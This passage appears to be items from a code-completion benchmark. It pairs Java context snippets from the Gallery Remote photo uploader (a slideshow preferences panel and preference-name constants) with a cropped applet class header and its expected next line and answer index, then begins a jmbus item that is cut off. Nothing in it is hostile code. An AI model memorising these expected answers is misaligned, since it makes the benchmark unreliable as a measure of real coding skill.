ImageUtils.getExifData(source.getPath());\n\t\t}\n\n\t\treturn exif;\n\t}\n\n\tpublic String getForceExtension() {\n\t\treturn forceExtension;\n\t}\n\n\tpublic void setForceExtension(String forceExtension) {\n\t\tthis.forceExtension = forceExtension;\n\t}\n\n\tpublic String getUniqueId() {\n\t\treturn uniqueId;\n\t}\n\n\tpublic void setUniqueId(String uniqueId) {\n\t\tthis.uniqueId = uniqueId;\n\t}\n\n\tpublic String getItemId() {\n\t\treturn itemId;\n\t}\n\n\tpublic void setItemId(String itemId) {\n\t\tthis.itemId = itemId;\n\t}\n\n\tpublic void addResizedDerivative(URL url, Dimension d) {\n\t\tif (resizedDerivatives == null) {\n\t\t\tresizedDerivatives = new ArrayList();\n\t\t}\n\n\t\tresizedDerivatives.add(new ResizedDerivative(url, d));\n\t}\n\n\tpublic class ResizedDerivative {\n\t\tpublic URL url;\n\t\tpublic Dimension d;\n\n\t\tpublic ResizedDerivative(URL url, Dimension d) {\n\t\t\tthis.url = url;\n\t\t\tthis.d = d;\n\t\t}\n\t}\n}", "public class SlideshowPanel extends PreferencePanel implements PreferenceNames {\n\tpublic static final String MODULE = \"SlidePa\";\n\n\tJLabel icon = new JLabel(GRI18n.getString(MODULE, \"icon\"));\n\n\tJPanel progressionPanel = new JPanel();\n\tJPanel locationPanel = new JPanel();\n\tpublic JPanel spacerPanel = new JPanel();\n\tJLabel delay = new JLabel();\n\tJSlider jDelay = new JSlider();\n\tJLabel transition = new JLabel();\n\tJSlider jTransition = new JSlider();\n\tJLabel help = new JLabel();\n\tJLabel progress = new JLabel();\n\tJLabel caption = new JLabel();\n\tJLabel extra = new JLabel();\n\tJLabel url = new JLabel();\n\tJLabel album = new JLabel();\n\tJLabel summary = new JLabel();\n\tJLabel description = new JLabel();\n\tJCheckBox jOverride = new JCheckBox();\n\tJPanel apperancePanel = new JPanel();\n\tJComboBox jProgress;\n\tJComboBox jCaption;\n\tJComboBox jExtra;\n\tJComboBox jUrl;\n\tJComboBox jAlbum;\n\tJComboBox jSummary;\n\tJComboBox jDescription;\n\tJCheckBox jLowRez = new JCheckBox();\n\tJCheckBox jRandom = new JCheckBox();\n\tJCheckBox jNoStretch = new JCheckBox();\n\tJCheckBox jPreloadAll = new JCheckBox();\n\tJCheckBox jLoop = new JCheckBox();\n\tJPanel spacerPanel1 = new JPanel();\n\tColorWellButton jBackgroundColor = new ColorWellButton(Color.red);\n\tJTabbedPane tabs = new JTabbedPane();\n\n\tpublic JLabel getIcon() {\n\t\treturn icon;\n\t}\n\n\tpublic void readProperties(PropertiesFile props) {\n\t\tjProgress.setSelectedItem(new LocationItem(props.getIntProperty(SLIDESHOW_PROGRESS)));\n\t\tjCaption.setSelectedItem(new LocationItem(props.getIntProperty(SLIDESHOW_CAPTION)));\n\t\tjExtra.setSelectedItem(new LocationItem(props.getIntProperty(SLIDESHOW_EXTRA)));\n\t\tjUrl.setSelectedItem(new LocationItem(props.getIntProperty(SLIDESHOW_URL)));\n\t\tjAlbum.setSelectedItem(new LocationItem(props.getIntProperty(SLIDESHOW_ALBUM)));\n\t\tjSummary.setSelectedItem(new LocationItem(props.getIntProperty(SLIDESHOW_SUMMARY)));\n\t\tjDescription.setSelectedItem(new LocationItem(props.getIntProperty(SLIDESHOW_DESCRIPTION)));\n\n\t\tjLowRez.setSelected(props.getBooleanProperty(SLIDESHOW_LOWREZ));\n\t\tjRandom.setSelected(props.getBooleanProperty(SLIDESHOW_RANDOM));\n\t\tjNoStretch.setSelected(props.getBooleanProperty(SLIDESHOW_NOSTRETCH));\n\t\tjPreloadAll.setSelected(props.getBooleanProperty(SLIDESHOW_PRELOADALL));\n\t\tjLoop.setSelected(props.getBooleanProperty(SLIDESHOW_LOOP));\n\t\tjDelay.setValue(props.getIntProperty(SLIDESHOW_DELAY) * 1000);\n\t\tjTransition.setValue(props.getIntProperty(SLIDESHOW_TRANSITION_DURATION));\n\t\tColor color = props.getColorProperty(SLIDESHOW_COLOR);\n\t\tjOverride.setSelected(color != null);\n\t\tjBackgroundColor.setSelectedColor(color);\n\n\t\tjProgress.setEnabled(! props.isOverridden(SLIDESHOW_PROGRESS));\n\t\tjCaption.setEnabled(! props.isOverridden(SLIDESHOW_CAPTION));\n\t\tjExtra.setEnabled(! props.isOverridden(SLIDESHOW_EXTRA));\n\t\tjUrl.setEnabled(! props.isOverridden(SLIDESHOW_URL));\n\t\tjAlbum.setEnabled(! props.isOverridden(SLIDESHOW_ALBUM));\n\t\tjSummary.setEnabled(! props.isOverridden(SLIDESHOW_SUMMARY));\n\t\tjDescription.setEnabled(! props.isOverridden(SLIDESHOW_DESCRIPTION));\n\t\tjLowRez.setEnabled(! props.isOverridden(SLIDESHOW_LOWREZ));\n\t\tjRandom.setEnabled(! props.isOverridden(SLIDESHOW_RANDOM));\n\t\tjNoStretch.setEnabled(! props.isOverridden(SLIDESHOW_NOSTRETCH));\n\t\tjPreloadAll.setEnabled(! props.isOverridden(SLIDESHOW_PRELOADALL));\n\t\tjLoop.setEnabled(! props.isOverridden(SLIDESHOW_LOOP));\n\t\tjDelay.setEnabled(! props.isOverridden(SLIDESHOW_DELAY));\n\t\tjTransition.setEnabled(! props.isOverridden(SLIDESHOW_TRANSITION_DURATION));\n\t\tjOverride.setEnabled(! props.isOverridden(SLIDESHOW_COLOR));\n\t\tjBackgroundColor.setEnabled(! props.isOverridden(SLIDESHOW_COLOR));\n\t}\n\n\tpublic void writeProperties(PropertiesFile props) {\n\t\tif (jNoStretch.isSelected() != props.getBooleanProperty(SLIDESHOW_NOSTRETCH)) {\n\t\t\tImageUtils.purgeTemp();\n\t\t\tGalleryRemote._().getCore().flushMemory();\n\t\t}\n\n\t\tprops.setIntProperty(SLIDESHOW_PROGRESS, ((LocationItem) jProgress.getSelectedItem()).id);\n\t\tprops.setIntProperty(SLIDESHOW_CAPTION, ((LocationItem) jCaption.getSelectedItem()).id);\n\t\tprops.setIntProperty(SLIDESHOW_EXTRA, ((LocationItem) jExtra.getSelectedItem()).id);\n\t\tprops.setIntProperty(SLIDESHOW_URL, ((LocationItem) jUrl.getSelectedItem()).id);\n\t\tprops.setIntProperty(SLIDESHOW_ALBUM, ((LocationItem) jAlbum.getSelectedItem()).id);\n\t\tprops.setIntProperty(SLIDESHOW_SUMMARY, ((LocationItem) jSummary.getSelectedItem()).id);\n\t\tprops.setIntProperty(SLIDESHOW_DESCRIPTION, ((LocationItem) jDescription.getSelectedItem()).id);\n\n\t\tprops.setBooleanProperty(SLIDESHOW_LOWREZ, jLowRez.isSelected());\n\t\tprops.setBooleanProperty(SLIDESHOW_RANDOM, jRandom.isSelected());\n\t\tprops.setBooleanProperty(SLIDESHOW_NOSTRETCH, jNoStretch.isSelected());\n\t\tprops.setBooleanProperty(SLIDESHOW_PRELOADALL, jPreloadAll.isSelected());\n\t\tprops.setBooleanProperty(SLIDESHOW_LOOP, jLoop.isSelected());\n\t\tprops.setIntProperty(SLIDESHOW_DELAY, jDelay.getValue() / 1000);\n\t\tprops.setIntProperty(SLIDESHOW_TRANSITION_DURATION, jTransition.getValue());\n\n\t\tif (jOverride.isSelected()) {\n\t\t\tprops.setColorProperty(SLIDESHOW_COLOR, jBackgroundColor.getSelectedColor());\n\t\t} else {\n\t\t\tprops.setProperty(SLIDESHOW_COLOR, null);\n\t\t}\n\t\tGalleryRemoteCore core = GalleryRemote._().getCore();\n\t\tif (!GalleryRemote._().isAppletMode()) {\n\t\t\t((MainFrame) core).previewFrame.repaint();\n\t\t}\n\t}\n\n\tpublic void buildUI() {\n\t\tjbInit();\n\t}\n\n\tprivate void jbInit() {\n\t\tVector locationItems = new Vector();\n\t\tlocationItems.add(new LocationItem(0));\n\t\tlocationItems.add(new LocationItem(10 + SwingConstants.LEFT));\n\t\tlocationItems.add(new LocationItem(10 + SwingConstants.CENTER));\n\t\tlocationItems.add(new LocationItem(10 + SwingConstants.RIGHT));\n\t\tlocationItems.add(new LocationItem(20 + SwingConstants.LEFT));\n\t\tlocationItems.add(new LocationItem(20 + SwingConstants.CENTER));\n\t\tlocationItems.add(new LocationItem(20 + SwingConstants.RIGHT));\n\t\tlocationItems.add(new LocationItem(30 + SwingConstants.LEFT));\n\t\tlocationItems.add(new LocationItem(30 + SwingConstants.CENTER));\n\t\tlocationItems.add(new LocationItem(30 + SwingConstants.RIGHT));\n\n\t\tjProgress = new JComboBox(locationItems);\n\t\tjCaption = new JComboBox(locationItems);\n\t\tjExtra = new JComboBox(locationItems);\n\t\tjUrl = new JComboBox(locationItems);\n\t\tjAlbum = new JComboBox(locationItems);\n\t\tjSummary = new JComboBox(locationItems);\n\t\tjDescription = new JComboBox(locationItems);\n\n\t\tsetLayout(new GridBagLayout());\n\n\t\tprogressionPanel.setLayout(new GridBagLayout());\n\t\t/*progressionPanel.setBorder(\n\t\t\t\tnew TitledBorder(BorderFactory.createEtchedBorder(Color.white, new Color(148, 145, 140)),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"progressionTitle\")));*/\n\t\tlocationPanel.setLayout(new GridBagLayout());\n\t\tlocationPanel.setBorder(\n\t\t\t\tnew TitledBorder(BorderFactory.createEtchedBorder(Color.white, new Color(148, 145, 140)),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"locationTitle\")));\n\t\tapperancePanel.setLayout(new GridBagLayout());\n\t\t/*apperancePanel.setBorder(\n\t\t\t\tnew TitledBorder(BorderFactory.createEtchedBorder(Color.white, new Color(148, 145, 140)),\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"appearanceTitle\")));*/\n\n\t\tdelay.setText(GRI18n.getString(MODULE, \"delay\"));\n\t\tdelay.setLabelFor(jDelay);\n\t\tdelay.setToolTipText(GRI18n.getString(MODULE, \"delayHelp\"));\n\t\tjDelay.setMinimum(0);\n\t\tjDelay.setMaximum(30000);\n\t\tHashtable ticks = new Hashtable(4);\n\t\tticks.put(new Integer(0), new JLabel(GRI18n.getString(MODULE, \"delayNone\")));\n\t\tticks.put(new Integer(5000), new JLabel(\"5s\"));\n\t\tticks.put(new Integer(10000), new JLabel(\"10s\"));\n\t\tticks.put(new Integer(30000), new JLabel(\"30s\"));\n\t\tjDelay.setLabelTable(ticks);\n\t\tjDelay.setPaintLabels(true);\n\t\tjDelay.setMajorTickSpacing(5000);\n\t\tjDelay.setPaintTicks(true);\n\n\t\ttransition.setText(GRI18n.getString(MODULE, \"transition\"));\n\t\ttransition.setLabelFor(jTransition);\n\t\ttransition.setToolTipText(GRI18n.getString(MODULE, \"transitionHelp\"));\n\t\tjTransition.setMinimum(0);\n\t\tjTransition.setMaximum(5000);\n\t\tticks = new Hashtable(4);\n\t\tticks.put(new Integer(0), new JLabel(GRI18n.getString(MODULE, \"transitionNone\")));\n\t\tticks.put(new Integer(1000), new JLabel(\"1s\"));\n\t\tticks.put(new Integer(2000), new JLabel(\"2s\"));\n\t\tticks.put(new Integer(5000), new JLabel(\"5s\"));\n\t\tjTransition.setLabelTable(ticks);\n\t\tjTransition.setPaintLabels(true);\n\t\tjTransition.setMajorTickSpacing(1000);\n\t\tjTransition.setPaintTicks(true);\n\n\t\thelp.setText(GRI18n.getString(MODULE, \"delayDesc\"));\n\t\tjRandom.setText(GRI18n.getString(MODULE, \"random\"));\n\t\tjRandom.setToolTipText(GRI18n.getString(MODULE, \"randomHelp\"));\n\t\tjNoStretch.setText(GRI18n.getString(MODULE, \"noStretch\"));\n\t\tjNoStretch.setToolTipText(GRI18n.getString(MODULE, \"noStretchHelp\"));\n\t\tjPreloadAll.setText(GRI18n.getString(MODULE, \"preloadAll\"));\n\t\tjPreloadAll.setToolTipText(GRI18n.getString(MODULE, \"preloadAllHelp\"));\n\t\tjLoop.setText(GRI18n.getString(MODULE, \"loop\"));\n\t\tjLoop.setToolTipText(GRI18n.getString(MODULE, \"loopHelp\"));\n\n\t\tprogress.setText(GRI18n.getString(MODULE, \"progress\"));\n\t\tprogress.setLabelFor(jProgress);\n\t\tprogress.setToolTipText(GRI18n.getString(MODULE, \"progressHelp\"));\n\t\tcaption.setText(GRI18n.getString(MODULE, \"caption\"));\n\t\tcaption.setLabelFor(jCaption);\n\t\tcaption.setToolTipText(GRI18n.getString(MODULE, \"captionHelp\"));\n\t\textra.setText(GRI18n.getString(MODULE, \"extra\"));\n\t\textra.setLabelFor(jExtra);\n\t\textra.setToolTipText(GRI18n.getString(MODULE, \"extraHelp\"));\n\t\turl.setText(GRI18n.getString(MODULE, \"url\"));\n\t\turl.setLabelFor(jUrl);\n\t\turl.setToolTipText(GRI18n.getString(MODULE, \"urlHelp\"));\n\t\talbum.setText(GRI18n.getString(MODULE, \"album\"));\n\t\talbum.setLabelFor(jAlbum);\n\t\talbum.setToolTipText(GRI18n.getString(MODULE, \"albumHelp\"));\n\t\tsummary.setText(GRI18n.getString(MODULE, \"summary\"));\n\t\tsummary.setLabelFor(jSummary);\n\t\tsummary.setToolTipText(GRI18n.getString(MODULE, \"summaryHelp\"));\n\t\tdescription.setText(GRI18n.getString(MODULE, \"description\"));\n\t\tsummary.setLabelFor(jDescription);\n\t\tsummary.setToolTipText(GRI18n.getString(MODULE, \"descriptionHelp\"));\n\n\t\tjLowRez.setText(GRI18n.getString(MODULE, \"lowRez\"));\n\t\tjLowRez.setToolTipText(GRI18n.getString(MODULE, \"lowRezHelp\"));\n\t\tjOverride.setText(GRI18n.getString(MODULE, \"backgroundColor\"));\n\n\t\tthis.add(tabs, new GridBagConstraints(0, 0, 1, 1, 1.0, 1.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.BOTH, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\ttabs.add(GRI18n.getString(MODULE, \"progressionTitle\"), progressionPanel);\n\t\ttabs.add(GRI18n.getString(MODULE, \"appearanceTitle\"), apperancePanel);\n\n\t\t/*this.add(progressionPanel, new GridBagConstraints(0, 0, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tthis.add(locationPanel, new GridBagConstraints(0, 1, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tthis.add(apperancePanel, new GridBagConstraints(0, 2, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));*/\n\t\tthis.add(help, new GridBagConstraints(0, 3, 2, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(5, 5, 5, 0), 0, 0));\n\t\tthis.add(spacerPanel, new GridBagConstraints(0, GridBagConstraints.REMAINDER, 1, 1, 1.0, 1.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.BOTH, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\tprogressionPanel.add(delay, new GridBagConstraints(0, 0, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tprogressionPanel.add(jDelay, new GridBagConstraints(1, 0, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tprogressionPanel.add(transition, new GridBagConstraints(0, 1, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tprogressionPanel.add(jTransition, new GridBagConstraints(1, 1, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tprogressionPanel.add(jRandom, new GridBagConstraints(0, 2, 2, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.NONE, new Insets(0, 0, 0, 0), 0, 0));\n\t\tprogressionPanel.add(jPreloadAll, new GridBagConstraints(0, 3, 2, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.NONE, new Insets(0, 0, 0, 0), 0, 0));\n\t\tprogressionPanel.add(jLoop, new GridBagConstraints(0, 4, 2, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.NONE, new Insets(0, 0, 0, 0), 0, 0));\n\t\tprogressionPanel.add(new JPanel(), new GridBagConstraints(0, 5, 2, 1, 0.0, 1.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.BOTH, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\tapperancePanel.add(jLowRez, new GridBagConstraints(0, 0, 2, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tapperancePanel.add(jNoStretch, new GridBagConstraints(0, 1, 2, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tapperancePanel.add(jOverride, new GridBagConstraints(0, 2, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.NONE, new Insets(0, 0, 0, 0), 0, 0));\n\t\tapperancePanel.add(jBackgroundColor, new GridBagConstraints(1, 2, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.NONE, new Insets(0, 5, 0, 0), 0, 0));\n\t\tapperancePanel.add(locationPanel, new GridBagConstraints(0, 3, 2, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 5, 0, 0), 0, 0));\n\t\tapperancePanel.add(new JPanel(), new GridBagConstraints(0, 4, 2, 1, 0.0, 1.0\n\t\t\t\t,GridBagConstraints.WEST, GridBagConstraints.BOTH, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\tint row = 0;\n\t\tlocationPanel.add(progress, new GridBagConstraints(0, row, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tlocationPanel.add(jProgress, new GridBagConstraints(1, row++, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tlocationPanel.add(caption, new GridBagConstraints(0, row, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tlocationPanel.add(jCaption, new GridBagConstraints(1, row++, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tlocationPanel.add(extra, new GridBagConstraints(0, row, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tlocationPanel.add(jExtra, new GridBagConstraints(1, row++, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tlocationPanel.add(summary, new GridBagConstraints(0, row, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tlocationPanel.add(jSummary, new GridBagConstraints(1, row++, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tlocationPanel.add(description, new GridBagConstraints(0, row, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tlocationPanel.add(jDescription, new GridBagConstraints(1, row++, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tlocationPanel.add(url, new GridBagConstraints(0, row, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tlocationPanel.add(jUrl, new GridBagConstraints(1, row++, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tlocationPanel.add(album, new GridBagConstraints(0, row, 1, 1, 0.0, 0.0\n\t\t\t\t,GridBagConstraints.EAST, GridBagConstraints.NONE, new Insets(0, 0, 0, 5), 0, 0));\n\t\tlocationPanel.add(jAlbum, new GridBagConstraints(1, row++, 1, 1, 1.0, 0.0\n\t\t\t\t,GridBagConstraints.CENTER, GridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t}\n\n\tclass LocationItem {\n\t\tString name;\n\t\tint id;\n\n\t\tpublic LocationItem(int id) {\n\t\t\tthis.id = id;\n\t\t\tname = GRI18n.getString(MODULE, \"locationItem.\" + id);\n\t\t}\n\n\t\tpublic String toString() {\n\t\t\treturn name;\n\t\t}\n\n\t\tpublic boolean equals(Object o) {\n\t\t\treturn o instanceof LocationItem && id == ((LocationItem) o).id;\n\t\t}\n\t}\n}", "public interface PreferenceNames {\n\t// General panel\n\tpublic static final String SHOW_THUMBNAILS = \"showThumbnails\";\n\tpublic static final String THUMBNAIL_SIZE = \"thumbnailSize\";\n\tpublic static final String SAVE_PASSWORDS = \"savePasswords\";\n\tpublic static final String LOG_LEVEL = \"logLevel\";\n\tpublic static final String UPDATE_CHECK = \"updateCheck\";\n\tpublic static final String UPDATE_CHECK_BETA = \"updateCheckBeta\";\n\tpublic static final String UPDATE_URL = \"updateUrl\";\n\tpublic static final String UPDATE_URL_BETA = \"updateUrlBeta\";\n\tpublic static final String UI_LOCALE = \"uiLocale\";\n\tpublic static final String UI_LOCALE_DEV = \"uiLocaleDev\";\n\tpublic static final String MRU_COUNT = \"mruCount\";\n\tpublic static final String MRU_BASE = \"mruItem.\";\n\tpublic static final String LOAD_LAST_FILE = \"loadLastMRU\";\n\n\t// Upload panel\n\tpublic static final String RESIZE_BEFORE_UPLOAD = \"resizeBeforeUpload\";\n\tpublic static final String RESIZE_TO = \"resizeTo\";\n\tpublic static final String RESIZE_TO_DEFAULT = \"resizeToDefault\";\n\tpublic static final String AUTO_CAPTIONS = \"autoCaptions\";\n\tpublic static final int AUTO_CAPTIONS_NONE = 0;\n\tpublic static final int AUTO_CAPTIONS_FILENAME = 1;\n\tpublic static final int AUTO_CAPTIONS_COMMENT = 2;\n\tpublic static final int AUTO_CAPTIONS_DATE = 3;\n\t//public static final String SET_CAPTIONS_NONE = \"setCaptionsNone\";\n\t//public static final String SET_CAPTIONS_WITH_FILENAMES = \"setCaptionsWithFilenames\";\n\t//public static final String SET_CAPTIONS_WITH_METADATA_COMMENT = \"setCaptionsWithMetadataComment\";\n\tpublic static final String CAPTION_STRIP_EXTENSION = \"captionStripExtension\";\n\tpublic static final String HTML_ESCAPE_CAPTIONS = \"htmlEscapeCaptions\";\n\tpublic static final String EXIF_AUTOROTATE = \"exifAutorotate\";\n\n\t// URL panel\n\tpublic static final String USERNAME = \"username.\";\n\tpublic static final String PASSWORD = \"password.\";\n\tpublic static final String GURL = \"url.\";\n\tpublic static final String APPLET = \"Applet\";\n\tpublic static final String ALIAS = \"alias.\";\n\tpublic static final String KEY = \"key.\";\n\tpublic static final String FORCE_GALLERY_VERSION = \"forceGalleryVersion.\";\n\tpublic static final String FORCE_PROTOCOL_ENCODING = \"forceProtocolEncoding.\";\n\tpublic static final String RESIZE_JPEG_QUALITY = \"resizeJpegQuality.\";\n\tpublic static final String AUTO_LOAD_ON_STARTUP = \"autoLoadOnStartup.\";\n\n\t// Proxy panel\n\tpublic static final String USE_PROXY = \"useProxy\";\n\tpublic static final String PROXY_HOST = \"proxyHost\";\n\tpublic static final String PROXY_PORT = \"proxyPort\";\n\tpublic static final String PROXY_USERNAME = \"proxyUsername\";\n\tpublic static final String PROXY_PASSWORD = \"proxyPassword\";\n\n\t// Slideshow\n\tpublic static final String SLIDESHOW_PROGRESS = \"slideshowProgressLocation\";\n\tpublic static final String SLIDESHOW_CAPTION = \"slideshowCaptionLocation\";\n\tpublic static final String SLIDESHOW_EXTRA = \"slideshowExtraLocation\";\n\tpublic static final String SLIDESHOW_URL = \"slideshowUrlLocation\";\n\tpublic static final String SLIDESHOW_ALBUM = \"slideshowAlbumLocation\";\n\tpublic static final String SLIDESHOW_SUMMARY = \"slideshowSummaryLocation\";\n\tpublic static final String SLIDESHOW_DESCRIPTION = \"slideshowDescriptionLocation\";\n\tpublic static final String SLIDESHOW_DELAY = \"slideshowDelay\";\n\tpublic static final String SLIDESHOW_LOWREZ = \"slideshowLowRez\";\n\tpublic static final String SLIDESHOW_RANDOM = \"slideshowRandom\";\n\tpublic static final String SLIDESHOW_MAX_PICTURES = \"slideshowMaxPictures\";\n\tpublic static final String SLIDESHOW_RECURSIVE = \"slideshowRecursive\";\n\tpublic static final String SLIDESHOW_NOSTRETCH = \"slideshowNoStretch\";\n\tpublic static final String SLIDESHOW_COLOR = \"slideshowColor\";\n\tpublic static final String SLIDESHOW_PRELOADALL = \"slideshowPreloadAll\";\n\tpublic static final String SLIDESHOW_LOOP = \"slideshowLoop\";\n\tpublic static final String SLIDESHOW_FONTNAME = \"slideshowFontName\";\n\tpublic static final String SLIDESHOW_FONTSIZE = \"slideshowFontSize\";\n\tpublic static final String SLIDESHOW_FONTTHICKNESS = \"slideshowFontThickness\";\n\tpublic static final String SLIDESHOW_TRANSITION_DURATION = \"slideshowTransitionDuration\";\n\n\t// Other\n\tpublic static final String SUPPRESS_WARNING_IM = \"suppressWarningIM\";\n\tpublic static final String SUPPRESS_WARNING_JPEGTRAN = \"suppressWarningJpegtran\";\n\tpublic static final String SUPPRESS_WARNING_JPEGTRAN_CROP = \"suppressWarningJpegtranCrop\";\n\tpublic static final String SUPPRESS_WARNING_CORRUPTED = \"suppressWarningCorrupted\";\n\tpublic static final String SUPPRESS_WARNING_JAVA = \"suppressWarningJava\";\n\tpublic static final String SUPPRESS_WARNING_OUT_OF_MEMORY = \"suppressWarningOutOfMemory\";\n\tpublic static final String USE_JAVA_RESIZE = \"useJavaResize\";\n\tpublic static final String FONT_OVERRIDE_NAME = \"fontOverrideName\";\n\tpublic static final String FONT_OVERRIDE_STYLE = \"fontOverrideStyle\";\n\tpublic static final String FONT_OVERRIDE_SIZE = \"fontOverrideSize\";\n\tpublic static final String PREVIEW_TRANSITION_DURATION = \"previewTransitionDuration\";\n\tpublic static final String ALLOW_UNACCELERATED_TRANSITION = \"allowUnacceleratedTransition\";\n\tpublic static final String PREVIEW_DRAW_THIRDS = \"previewDrawThirds\";\n\n\t// Applet\n\tpublic static final String APPLET_SHOW_RESIZE = \"appletShowResize\";\n\tpublic static final String APPLET_DIVIDER_LOCATION = \"appletDividerLocation\";\n\tpublic static final String APPLET_FONTSIZE = \"appletFontSize\";\n\n\t// Sort\n\tpublic static final String SORT_TYPE = \"sortType\";\n\tpublic static final int SORT_TYPES = 2;\n\tpublic static final int SORT_TYPE_FILENAME = 1;\n\tpublic static final int SORT_TYPE_EXIF_CREATION = 2;\n}" ]
import com.gallery.GalleryRemote.util.GRI18n; import com.gallery.GalleryRemote.util.ImageUtils; import com.gallery.GalleryRemote.model.Album; import com.gallery.GalleryRemote.model.Picture; import com.gallery.GalleryRemote.prefs.SlideshowPanel; import com.gallery.GalleryRemote.prefs.PreferenceNames; import javax.swing.*; import javax.swing.event.ListDataListener; import javax.swing.event.ListDataEvent; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.ArrayList;
package com.gallery.GalleryRemote; /** * Created by IntelliJ IDEA. * User: paour * Date: Oct 30, 2003 */ public class GRAppletSlideshow extends GRAppletMini implements GalleryRemoteCore, ActionListener, ListDataListener, PreferenceNames { public static final String MODULE = "AppletSlideshow"; JButton jStart;
SlideshowPanel jSlidePanel;
4
pokerazor/jmbus
src/main/java/org/openmuc/jmbus/app/TechemReceiver.java
[ "public class DecodingException extends Exception {\n\n private static final long serialVersionUID = 1735527302166708223L;\n\n public DecodingException() {\n super();\n }\n\n public DecodingException(String s) {\n super(s);\n }\n\n public DecodingException(Throwable cause) {\n super(cause);\n }\n\n public DecodingException(String s, Throwable cause) {\n super(s, cause);\n }\n\n}", "public class HexConverter {\n\n public static void appendShortHexString(int b, StringBuilder builder) {\n String hexString = Integer.toHexString(b & 0xff);\n if (hexString.length() == 1) {\n builder.append('0');\n }\n builder.append(hexString);\n }\n\n public static void appendShortHexString(StringBuilder builder, byte[] byteArray, int offset, int length) {\n for (int i = offset; i < (offset + length); i++) {\n appendShortHexString(byteArray[i], builder);\n }\n }\n\n public static void appendHexString(int b, StringBuilder builder) {\n builder.append(\"0x\");\n appendShortHexString(b, builder);\n }\n\n public static void appendHexString(StringBuilder builder, byte[] byteArray, int offset, int length) {\n int l = 1;\n for (int i = offset; i < (offset + length); i++) {\n if ((l != 1) && ((l - 1) % 8 == 0)) {\n builder.append(' ');\n }\n if ((l != 1) && ((l - 1) % 16 == 0)) {\n builder.append('\\n');\n }\n l++;\n appendHexString(byteArray[i], builder);\n if (i != offset + length - 1) {\n builder.append(' ');\n }\n }\n }\n\n public static String toHexString(byte b) {\n StringBuilder 